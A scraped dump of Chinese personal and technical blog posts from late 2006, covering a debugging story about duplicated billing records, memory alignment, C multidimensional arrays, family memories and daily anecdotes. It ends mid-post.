年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/12/13/my-intending-house/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"我未来的'窝'"},{"content":"今晚一同事从美国飞回来，一见面下了一跳，哇，我的这位同事好像山中野人，头发老长，一问才知道：4个月没理发了。美国理发太贵，那点补助舍不得花。\n我的这位同事到芝加哥待了4个月，无论如何都是出去见识过的人，收获也应该不少，遂打开话匣子聊了起来。他说从美国带回来的吃的都被国内机场安检扣住了，还有一个带西部牛仔手枪装饰的相框他是勉强从机场安检人员手里’抢回来’的。我问他为什么带个相框回来，他说那个相框是从一个美国当地很具特色的店买的，每个相框的模具仅有一个，他买了这个相框，别人的不会和他的款式相同的。他打开皮箱让我欣赏他的相框，我无意中看了看背面，相框背面的支架上有一个白色标签，上面赫然写着’MADE IN CHINA’，我的这位同事看后，气的’发疯’，立马将标签撕掉，然后做郁闷状，千里迢迢，居然又买了个国货。\n他立马又翻了翻他自己购的东西，仔细检查了一番，还好，除了该件商品，其余还都是外国货。这次终于让我亲身体会到了’MADE IN CHINA’的威力了^_^。\n","permalink":"https://tonybai.com/2006/12/11/made-in-china-everywhere/","summary":"\u003cp\u003e今晚一同事从美国飞回来，一见面下了一跳，哇，我的这位同事好像山中野人，头发老长，一问才知道：4个月没理发了。美国理发太贵，那点补助舍不得花。\u003c/p\u003e\n\u003cp\u003e我的这位同事到芝加哥待了4个月，无论如何都是出去见识过的人，收获也应该不少，遂打开话匣子聊了起来。他说从美国带回来的吃的都被国内机场安检扣住了，还有一个带西部牛仔手枪装饰的相框他是勉强从机场安检人员手里’抢回来’的。我问他为什么带个相框回来，他说那个相框是从一个美国当地很具特色的店买的，每个相框的模具仅有一个，他买了这个相框，别人的不会和他的款式相同的。他打开皮箱让我欣赏他的相框，我无意中看了看背面，相框背面的支架上有一个白色标签，上面赫然写着’MADE IN CHINA’，我的这位同事看后，气的’发疯’，立马将标签撕掉，然后做郁闷状，千里迢迢，居然又买了个国货。\u003c/p\u003e","title":"见识'MADE IN CHINA'"},{"content":"上周三晚，河南’前线’反馈，河南移动手机用户投诉，经查是话单丢失。查看后的确有蹊跷，按照数据库中录入的原始话单数据来看，这几条记录的确是该生成话单的。之后又有同事发现出现丢话单的问题不仅仅这几条，而是一批一批的。没什么头绪，一夜无话，周四发现每天入库的可生成话单记录数居然比话单多出100万，也就是说我的程序居然少生成了100万话单，按照一条记录1角钱，这也是10万块呀，事情紧迫，问题查找的历程开始。\n周四一上班，一封封邮件飞入我的邮箱。我们采取两个办法：\n1. 继续分析现网的情况，通过统计数据来找；\n2. 在家里这边搭建一套现网环境，来模拟运行，看是否能找出端倪。\n还好我们的程序自身带一个统计工具，用来统计生成话单的数量，打开统计文件，核对数据，发现在当天的确生成的话单数要少于从数据库统计的话单数，而且也的确近100万。心头顿生郁闷呀。我们的程序以前的测试过程中从未出现过类似的情况，难道是以前测试的不够彻底，疑惑。\n这里简单介绍一下我们的程序，这是一个消息的后处理程序，主要负责生成移动计费中心的计费需要的原始记录文件，我们也叫话单；再有就是把原始记录入库，用来查找统计生成报表。这个程序是一个多进程架构的程序，运行时多个进程互相配合，通过内存队列和文件来做接口，通过灵活的配置衔接两个进程之间的接口，所以说如果配置不当，出现上述现象的可能性还是有的，因此第一我就仔细的查看了配置情况，试图找出可疑之处以解释问题的缘由。可遗憾的是配置都很正确，不存在重复推队列以及推错队列的可能。此时又由于备份的系统输入数据已经被误删除，所以还得等上一些时间，在这段时间我又在系统的一个关键路径上安装的统计工具，我想看看到底是哪出了问题。\n我发现事情都喜欢箍堆，这几天自己的私事也不少，周四下午由于私事没能更新代码，周五晚上才更新的代码并同步到现网，等待着运行一段时间后的统计结果。周六上午仍然办私事，中午同事的电话打来说我加的统计数据不准确，赶忙回公司登陆到现网看结果，发现从周六00:00~10:00期间，一共入库约115万条记录，话单也是约115万，也就是说从这个关键路径上流过的数据是约115万，而同事从数据库中统计的数字居然是147万而且居然发现有7万多的数据有重复(数据库没有设置唯一性约束)，没有重复的数据有132万。也就是说我们的程序不仅仅是少生成话单了，而且还重复插入数据了。当时就有些发晕，代码是查了一遍又一遍呀，找不到什么问题。而且统计了原始记录文件，我们系统ftp取来的原始记录文件中的记录数就是约115万左右，和我加的统计工具统计的数值一致，也就是说问题不是少生成话单了，而是多入库和重复入库了。关键路径上的统计数据是115万，那么问题可能出现在后面的模块，统计了最后一步入库操作的输入(文件格式)，发现数据量也是115万，从日志上看也是115万，真是邪了门了。数据库中怎么就无端出现多出来的数据呢，问了同事是否是数据库上某个JOB在自动复制数据，得到的回答是否定的。唯一向数据库中写数据的只有我们的程序。\n疑惑和彷徨中发现一个奇怪现象：数据库里重复的数据都是来自数据源主机1的(我们有两台数据源主机)，同事把数据库中重复数据的处理时间Show给我看，我根据那时间，查看了对应时间段的日志，发现一处可疑情况。我们的程序第一个工作就是从数据源主机上取原始数据文件，方式采用ftp get，如果get成功，我们会删除数据源主机上的源数据文件，我从日志中发现其中一处报了一个错误：ftp delete failed, errcode = (22)!，我顿时感觉难道这块是删除失败，重新ftp get导致重复数据的根源吗？我继续往下查发现程序并没有重复取那个文件，也就是说在数据源主机上那个文件已经不存在了。事情蹊跷，把这一现象告诉同事，他问我问什么会这样，我也解释不清楚。\n继续查找，仍无头绪，遂决心在各个模块的入口出口加入统计信息，来查找问题所在，当时已经是周五23点30分了，带着疲倦改代码，这时同事突然想到了一点，那就是难道有另外一个一模一样的程序运行在别的主机上？如果真的存在，那么一切上述奇怪现象就都可以解释了。我停掉我们的程序，之后发现数据源主机1上的原始数据文件仍然被不知名程序取走了，我的同事马上逐个查找各台主机，终于在其中一台主机上发现了我们的程序，这个程序是上次测试时启动的，然后忘记停了，而新的程序则部署在另一台机器上。\n唉，终于水落石出了。\n丢话单：因为另一个程序把原始记录文件抢走，生成话单就放在了它的那台主机上，计费中心并不知道，也就没法获取该话单；\n重复入库：两个我们的程序同时取到了原始记录文件，各自入了一份，由于数据库没有唯一性校验，所以导致重复入库。\n多入库：还是因为另一个程序把原始记录文件抢走并入库，导致我们的统计工具统计不到该记录数量，所以少于数据库的统计量。\n查了半天，费了半天劲，原来居然是一个’莫须有’的BUG，这也提醒了我们以后部署程序上线检查时一定要细心，否则这样的问题查起来很难，如果不是那位同事突然想起来，估计我现在还在苦苦挣扎在这个’莫须有’的BUG上呢。\n","permalink":"https://tonybai.com/2006/12/11/a-unwarranted-bug/","summary":"\u003cp\u003e上周三晚，河南’前线’反馈，河南移动手机用户投诉，经查是话单丢失。查看后的确有蹊跷，按照数据库中录入的原始话单数据来看，这几条记录的确是该生成话单的。之后又有同事发现出现丢话单的问题不仅仅这几条，而是一批一批的。没什么头绪，一夜无话，周四发现每天入库的可生成话单记录数居然比话单多出100万，也就是说我的程序居然少生成了100万话单，按照一条记录1角钱，这也是10万块呀，事情紧迫，问题查找的历程开始。\u003c/p\u003e","title":"一个'莫须有'的BUG"},{"content":"记得以前曾经两次谈到过内存对齐话题，一次在\u0026rsquo;也谈内存对齐\u0026lsquo;一文中，另一次则是\u0026rsquo;也谈内存对齐(续)\u0026rsquo;，今天下午和同事又谈到内存对齐的问题了，遂想继续挖掘下去，看看其背后的故事。\n关于内存对齐的中文文章多在介绍对齐的\u0026rsquo;法则\u0026rsquo;，比如为什么sizeof(T)和我们估计的T的大小有出入呢等等，而对于内存对齐的本质少有介绍，我在Google上搜索了一阵后，在IBM开发社区上发现一篇叫\u0026rsquo;Data alignment: Straighten up and fly right\u0026lsquo;的文章，其中就有我想知道的关于\u0026rsquo;内存对齐背后的故事\u0026rsquo;，下面的很多内容都是来自那篇文章的。\n很多书籍中都讲到：内存可以看成一个byte数组，我们通过编程语言提供的工具对这个\u0026rsquo;大数组\u0026rsquo;中的每个元素进行读写，比如在C中我们可以用指针一次读写一个或者更多个字节，这是我们一般程序员眼中的内存样子。但是从机器角度更具体的说从CPU角度看呢，CPU发出的指令是一个字节一个字节读写内存吗？答案是\u0026rsquo;否\u0026rsquo;。CPU是按照\u0026rsquo;块(chunk)\u0026lsquo;来读写内存的，块的大小可以是2bytes, 4bytes, 8bytes, 16bytes甚至是32bytes. 这个CPU访问内存采用的块的大小，我们可以称为\u0026rsquo;内存访问粒度\u0026rsquo;。\n程序员眼中的内存样子：\n———————————\n| | | | | | | | | | | | | | | | |\n———————————\n0 1 2 3 4 5 6 7 8 9 A B C D E F (地址)\nCPU眼中的内存样子：(以粒度＝4为例)\n———————————————\n| | | | | | | | | | | | | | | | | | | |\n———————————————\n0 1 2 3 4 5 6 7 8 9 A B C D E F (地址)\n有了上面的概念，我们来看看粒度对CPU访问内存的影响。\n假设这里我们需要的数据分别存储于地址0和地址1起始的连续4个字节的存储器中，我们目的是分别读取这些数据到一个4字节的寄存器中，\n如果\u0026rsquo;内存访问粒度\u0026rsquo;为1，CPU从地址0开始读取，需要4次访问才能将4个字节读到寄存器中；\n同样如果\u0026rsquo;内存访问粒度\u0026rsquo;为1，CPU从地址1开始读取，也需要4次访问才能将4个字节读到寄存器中；而且对于这种理想中的\u0026rsquo;\u0026lsquo;内存访问粒度\u0026rsquo;为1的CPU，所有地址都是\u0026rsquo;aligned address\u0026rsquo;。\n如果\u0026rsquo;内存访问粒度\u0026rsquo;为2，CPU从地址0开始读取，需要2次访问才能将4个字节读到寄存器中；每次访存都能从\u0026rsquo;aligned address\u0026rsquo;起始。\n如果\u0026rsquo;内存访问粒度\u0026rsquo;为2，CPU从地址1开始读取，相当于内存中数据分布在1,2,3,4三个地址上，由于1不是\u0026rsquo;aligned address\u0026rsquo;，所以这时CPU要做些其他工作，由于这四个字节分步在三个chunk上，所以CPU需要进行三次访存操作，第一次读取chunk1(即地址0,1上两个字节，而且仅仅地址1上的数据有用)，第二次读取chunk2(即地址2,3上两个字节，这两个地址上的数据都有用)，最后一次读取chunk3(即地址5,6上两个字节，而且仅仅地址5上的数据有用)，最后CPU会将读取的有用的数据做merge操作，然后放到寄存器中。\n同理可以推断如果\u0026rsquo;内存访问粒度\u0026rsquo;为4，那么从地址1开始读取，需要2次访问，访问后得到的结果merge后放到寄存器中。\n是不是所有的CPU都会帮你这么做呢，当然不是。有些厂商的CPU发现你访问unaligned address，就会报错，或者打开调试器或者dump core，比如sun sparc solaris绝对不会容忍你访问unaligned address，都会以一个core结束你的程序的执行。所以一般编译器都会在编译时做相应的优化以保证程序运行时所有数据都是存储在\u0026rsquo;aligned address\u0026rsquo;上的，这就是内存对齐的由来。\n我们可以指定按照何种粒度访问特定内存块儿：其中void *T为指向特定内存块的地址指针\nchar *p = (char*)T；每次操作一个字节\nshort *p = (short*)T；每次操作两个字节\nint *p = (int*)T；每次操作4个字节\n以此类推。\n在\u0026rsquo;Data alignment: Straighten up and fly right\u0026rsquo;这篇文章中作者还得出一个结论那就是：\u0026ldquo;如果访问的地址是unaligned的，那么采用大粒度访问内存有可能比小粒度访问内存还要慢\u0026rdquo;。\n","permalink":"https://tonybai.com/2006/12/08/talk-about-memory-alignment-the-3rd-time/","summary":"\u003cp\u003e记得以前曾经两次谈到过内存对齐话题，一次在\u0026rsquo;\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e也谈内存对齐\u003c/a\u003e\u0026lsquo;一文中，另一次则是\u0026rsquo;\u003ca href=\"http://tonybai.com/2006/06/14/also-talk-about-memory-alignment-cont/\"\u003e也谈内存对齐(续)\u003c/a\u003e\u0026rsquo;，今天下午和同事又谈到内存对齐的问题了，遂想继续挖掘下去，看看其背后的故事。\u003c/p\u003e\n\u003cp\u003e关于内存对齐的中文文章多在介绍对齐的\u0026rsquo;法则\u0026rsquo;，比如为什么sizeof(T)和我们估计的T的大小有出入呢等等，而对于内存对齐的本质少有介绍，我在Google上搜索了一阵后，在IBM开发社区上发现一篇叫\u0026rsquo;\u003ca href=\"http://www-128.ibm.com/developerworks/library/pa-dalign/\"\u003eData alignment: Straighten up and fly right\u003c/a\u003e\u0026lsquo;的文章，其中就有我想知道的关于\u0026rsquo;内存对齐背后的故事\u0026rsquo;，下面的很多内容都是来自那篇文章的。\u003c/p\u003e","title":"三谈内存对齐－背后的故事"},{"content":"从小到大对梦都是很感兴趣的，因为在梦里你无所不能，很是奇妙。中国古代有周公解梦，国外有弗洛伊德的’梦的解析’，感觉梦这个东西若干年内用纯科学的手段是解释不清楚的，遂宁可信其有，不可信其无。\n这个梦好像是前天早上快天亮时做的，印象极其深刻，以致于我现在还想说。\n梦中，我在一片很美丽的地方，有山有水，好似张家界，又好似九寨沟(因为我一直想去但是还没去过这两个地方，所以就当成这两个地方在我脑海中的痕迹吧)，我周围没有人，我走到一条小河旁，好像在那驻足。突然间一不小心掉入河中，河不深，刚刚没过脚踝，遂当时感觉不是很紧张，想走出小河回到河岸，这时情况发生了。河好像突然变了似的。突然感觉脚仿佛陷入泥中，低头向下看，发现绿色的泥好像向上涌来，感觉身体下陷，不过在这一感觉的同时，好像耳边响起声响，抬头看四周，大地晃动，有些尘土浮起，晃动越来越厉害，我一个冲劲把脚从河泥中拔出，跑上岸，这时地震开始了。看到远方大地开始出现裂纹，由远及近，我很害怕，然后向一个方向跑去，尽量避免掉进地缝。不过好景不长，我所处的地方整片地块都一起沉下去了，一阵在高速下降的电梯中的感觉，看到四周的地在升高，自己在下沉。一段时间后地不在下降了，脚下平稳了，而且四周的地块也一同慢慢的降了下来，整个梦境又恢复了平静。我醒了。\n古人都说梦中预示着什么，又有人考证说古代真有类似具有超能力的释梦人，但是没有留下作品，原因有二，一是怕别人学会危及自身，二是怕泄漏天机遭受天谴，但是我觉得最主要的还是后者。梦到底能否预示将来，谁也说不清楚。\n感觉这个梦有趣，就在这记录下来。\n","permalink":"https://tonybai.com/2006/12/07/dream-about-earthquake/","summary":"\u003cp\u003e从小到大对梦都是很感兴趣的，因为在梦里你无所不能，很是奇妙。中国古代有周公解梦，国外有弗洛伊德的’梦的解析’，感觉梦这个东西若干年内用纯科学的手段是解释不清楚的，遂宁可信其有，不可信其无。\u003c/p\u003e","title":"梦到地震了"},{"content":"我的姥爷，祖籍江苏扬州，中等身材，年轻的时候用现在的话说是一个’帅哥’级人物，家里算是有钱人，但不是地主，是那种雇得起其他工人的家庭，听我姥姥说当年我姥爷的父亲很严厉，家教也很严格，姥爷从小读书，毛笔字和算盘都很棒。在解放后随单位到了东北，从此安家东北。\n姥爷虽在东北待了几十年，仍然有很浓重的南方口音，而且说快的时候外人估计就听不懂了。我从小是我姥姥和姥爷带大的，所以姥爷说什么我都听得懂，记得GF到我姥爷家串门的时候，我就在一旁做翻译。\n姥爷在铁路工作，经常不在家；退休后在市委办公大院里做打更的，有时候夜班，也就少回来。姥爷在单位人缘好，包括领导们也都很尊敬他，那时候利用姥爷的’职务’之便，我们经常到市委的浴池洗澡，便宜而且环境好。\n姥爷爱时髦，别看姥爷岁数大了，丝毫不影响他爱打扮的作风，也许收到家庭的影响。姥爷中等身材，穿衣服很好看。平时喜欢穿西服，穿深色衣服，穿皮鞋，带礼帽，系围巾，在同龄老头里面算是很注意外表的了。\n姥爷爱喝酒，但从没有看到姥爷喝多过。姥爷喜欢人多，姥姥家每天人多的时候姥爷总要喝点，但绝对不多，平时以啤酒为主，白酒也都是好酒。姥爷不缺酒，在储物的那间屋子里最多的就是装酒的盒子了。\n姥爷爱骑车，在我的印象里特别是退休后，总离不开他那一代又一代的车子，修理维护车子的费用都可以买几辆新车了。甚至在大冬天的时候路面结冰的时候，姥爷还骑着他的车呢，那时他都是70岁的人了。最后还是在儿子的强力阻拦下把车子暂存到车库。\n姥爷爱睡觉，姥姥总说他一天到晚的睡，姥爷是个心宽的人，所以无论在什么样嘈杂的环境(孩子们总把电视声音调的很大)下姥爷都睡得香甜。\n姥爷是个喜欢小孩子的人，记得小的时候每到过年过节他就带着当时我们这帮小孩子一起去市中心的广场照相。现在相册里最多的就是姥爷和我们这些小孩子的合影了。\n姥爷是一个粗心而且’不会’办事的人，姥姥总埋怨他不会修理这不会修理那，甚至买菜都比别人贵。记得有一次姥姥刚买的蔬菜就放在客厅的一个角落里，姥爷倒垃圾时随手捡起就扔了，事后姥爷还笑着不承认。\n姥爷爱放鞭炮，每年都是放鞭炮的主力，前年春节的时候因为放二踢脚弄伤了手，缝了近10针，一边挂点滴，一边还嘟哝着回去还要继续放。\n姥爷烧的一手好菜，拌凉菜，烧鱼是姥爷的看家本领，在我们这一大家子里除了姥姥估计没人能比了，这也是我们大家里公认的。特别是在姥姥岁数大，腿有点无力时姥爷每天都做菜。\n姥爷很有力气，小时候那时姥姥家住平房，需要自己买媒烧炉子，姥爷都是一个人把成顿的煤从外面挪到院子里。\n姥爷喜欢和姥姥打扑克，打扑克可是老两口每天的重头戏，老两口有很多付扑克，都是我们小孩子玩后剩下的。他们每天都玩上1~2个小时，玩赢扑克牌的。老两口玩的津津有味，让我们这些年轻人看着都羡慕。我姥姥是姥爷家的童养媳，他们在一起都近70年了。\n姥爷爱打麻将，但是别人都不和他玩，嫌他打牌慢，还总诈胡。\n姥爷兜里没有钱，钱都控制在姥姥手里，不过他仍然很高兴。孩子们都不向他要钱，大家都知道姥爷兜里没钱。\n姥爷爱听收音机，每天都听，也不知道他在听什么，不过姥姥总嫌他开收音机的声音过大，总说他，姥爷唯一能做的就是把声音关小。\n姥爷怕热，每到夏天的时候，总把电风扇总开到最大档，姥姥怕他吹凉了，趁他不备就把风速调小。姥爷没办法就找了把扇子，一遍吹着电扇一遍扇着扇子。\n姥爷很想家乡，每当谈及扬州时，姥爷总说：“有机会和你姥姥一起回扬州看看去”，从他的眼神中也看得出来。姥爷的兄弟还分布在江苏，上海一带，而且儿女都已经长大，并且也都在江苏。\n姥爷是个对新东西好奇的人，每每在我们年轻人身上出现什么新鲜的东西，他都要问问：这是什么东西。\n姥爷就是这样一个与世无争的平凡的人，今天获悉姥爷得了很严重的病，这里希望姥爷他老人家能早日康复。\n","permalink":"https://tonybai.com/2006/12/07/my-grandfather/","summary":"\u003cp\u003e我的姥爷，祖籍江苏扬州，中等身材，年轻的时候用现在的话说是一个’帅哥’级人物，家里算是有钱人，但不是地主，是那种雇得起其他工人的家庭，听我姥姥说当年我姥爷的父亲很严厉，家教也很严格，姥爷从小读书，毛笔字和算盘都很棒。在解放后随单位到了东北，从此安家东北。\u003c/p\u003e","title":"我的姥爷"},{"content":"好久没有看技术类的书籍了，今晚恰看到以前不知什么时候下到的一本oreilly的叫’mastering algorithms with c’的书，从书名可以看出这是一本讲算法的书，不过由于是选用了C语言作为讲解语言，所以难免不说说C语言。其中看到一节讲指针和数组，恰好碰到书中说: a[i][j] \u0026lt;=\u0026gt; *(*(a+i) + j)，这个等价式看起来显而易见，但是还是有些东西值得挖掘一下的。\n我们都知道C语言定义的多维数组是’行主序’的，这意味着越靠右边的下标变换越快。a[i][j]形象的可以看成一个i行j列的矩阵，但是实际在内存中存储时，a[i][j]肯定不是矩阵存储，因为存储器可是线性下来的，至于a[i][j]各元素的存储位置我们可以通过测试获得，结果也验证了’行主序’的规则。\n以a[2][3]为例，\n#include \u0026lt;stdio.h\u0026gt;\nint main() {\nint a[2][3] = {{1,2,3}, {4,5,6}};\nint i;\nint j;\nint k;\nint *p;\nfor (i = 0; i \u0026lt; 2; i++) {\nfor (j = 0; j \u0026lt; 3; j++) {\nprintf(\u0026ldquo;a[%d][%d] = %d; addr = [0x%X]\\n\u0026rdquo;, i, j, a[i][j], \u0026amp;a[i][j]);\n}\n}\nreturn 0;\n}\n输出结果：\na[0][0] = 1; addr = [0x23FE94]\na[0][1] = 2; addr = [0x23FE98]\na[0][2] = 3; addr = [0x23FE9C]\na[1][0] = 4; addr = [0x23FEA0]\na[1][1] = 5; addr = [0x23FEA4]\na[1][2] = 6; addr = [0x23FEA8]\n从结果addr的规律看得出: 先排行元素，再排列元素。也就是说第一行排完，再来排第二行。\n我们再来分析一下上面提到的那个等价式：a[i][j] \u0026lt;=\u0026gt; *(*(a+i) + j)，其实这里不一定要用常理分析，我们通过实验能得出一些结论：\n#include \u0026lt;stdio.h\u0026gt;\nint main() {\nint a[2][3] = {{1,2,3}, {4,5,6}};\nint i;\nint j;\nint k;\nint *p;\nfor (i = 0; i \u0026lt; 2; i++) {\nfor (j = 0; j \u0026lt; 3; j++) {\nprintf(\u0026ldquo;a[%d][%d] = %d; addr = [0x%X]\\n\u0026rdquo;, i, j, a[i][j], \u0026amp;a[i][j]);\n}\n}\np = a;\nfor (k =0 ; k \u0026lt; 6; k++) {\nprintf(\u0026ldquo;p[%d] = %d\\n\u0026rdquo;, k, p[k]);\n}\nprintf(\u0026ldquo;a+1 = 0x%X\\n\u0026rdquo;, a+1);\nprintf(\u0026quot;*(a+1) = 0x%X\\n\u0026quot;, *(a+1));\nprintf(\u0026quot;*(*(a+1)+2) = %d\\n\u0026quot;, *(*(a+1)+2));\nprintf(\u0026quot;*(a+1)+2 = 0x%X\\n\u0026quot;, *(a+1)+2);\nreturn 0;\n}\n输出结果：\na[0][0] = 1; addr = [0x23FE94]\na[0][1] = 2; addr = [0x23FE98]\na[0][2] = 3; addr = [0x23FE9C]\na[1][0] = 4; addr = [0x23FEA0]\na[1][1] = 5; addr = [0x23FEA4]\na[1][2] = 6; addr = [0x23FEA8]\np[0] = 1\np[1] = 2\np[2] = 3\np[3] = 4\np[4] = 5\np[5] = 6\na+1 = 0x23FEA0\n*(a+1) = 0x23FEA0\n*(*(a+1)+2) = 6\n*(a+1)+2 = 0x23FEA8\n这里关键的就是a+1 = 0x23FEA0以及*(a+1) = 0x23FEA0，奇怪了吧，加不加’*\u0026lsquo;号结果一致；实际上 *(*(a+i) + j)中的a + i是为了取第i行的首地址，按照常理用a+i即可了。但是由于是多维数组，取数组中某一元素的值，不仅要行还要列，那这么写: *((a +i) +j )能行吗？这就是当时C的设计者要考虑到问题了。显然*((a +i) +j )这么做欠妥，依然以上面的例子为例，我们再输出些信息瞧瞧：\nprintf(\u0026quot;*((a+1)+2) = 0x%X\\n\u0026quot;, *((a+1) +2));\n输出结果：\n*((a+1)+2) = 0x23FEB8\n这显然不是a[1][2]的值，0x23FEB8是什么呢，实际上是第四行的行首地址，当然在我们的程序中只有两行在合法的范围之内。好了，问题既然出现了，当时的C设计者就考虑要区别于这种情况，遂就如是做了: *(*(a+1)+2)；这样结果正确了，*(*(a+1)+2) = 6。至于当时C设计者的真实考虑我无从而知，权当逗乐打趣吧。\n","permalink":"https://tonybai.com/2006/11/29/understand-multiple-dimension-array-in-c/","summary":"\u003cp\u003e好久没有看技术类的书籍了，今晚恰看到以前不知什么时候下到的一本oreilly的叫’mastering algorithms with c’的书，从书名可以看出这是一本讲算法的书，不过由于是选用了C语言作为讲解语言，所以难免不说说C语言。其中看到一节讲指针和数组，恰好碰到书中说: a[i][j] \u0026lt;=\u0026gt; *(*(a+i) + j)，这个等价式看起来显而易见，但是还是有些东西值得挖掘一下的。\u003c/p\u003e","title":"挖掘一下C语言中的多维数组"},{"content":"这几天沈城降温，温度急转直下，颇有些深冬的寒意，往往此刻各大商家也是使出浑身解数，打着各种打折促销的招牌，招揽顾客。我们都是凡人，有时候还真的被商家的活动弄得晕头转向，从此商场跑到彼商场，忙得也不亦乐乎。\n在上述的情况下，最痛苦的事情莫过于买不到东西，也就是说虽然眼看着打折促销，但是就是看不到让自己满意的商品，这时候是最闹心的。而我的GF就属于’这类人’^_^。也就是昨天，她的犹犹豫豫也让我累的腿疼(走的路太远)，腰疼(站的时间太长)，肩膀痛(拎的东西太多，时间太长)。再加上GF性格上也不是那么果断，导致我们在各大商场，以及楼上楼下转来转去，加之商场内人流涌动，暖气开放，使穿的厚厚得我感到憋得晃，头有些晕。不过没办法，GF可是一到商场就像刚加过油的机器，飞奔着。\n商场动不动5折的优惠，使商场到处充斥着人群，我是最讨厌和别人在一起挤了，遂在边上耐心的等。种类繁多的鞋子让GF挑花了眼，在我眼里很好看又实用的鞋子，在GF眼里不是跟矮就是显老，唉，真不知道是我过时了还是女生都这么挑剔，顿产生一种另类想法：’只给女人做一种款式的鞋子’，让她们没的选。^_^ 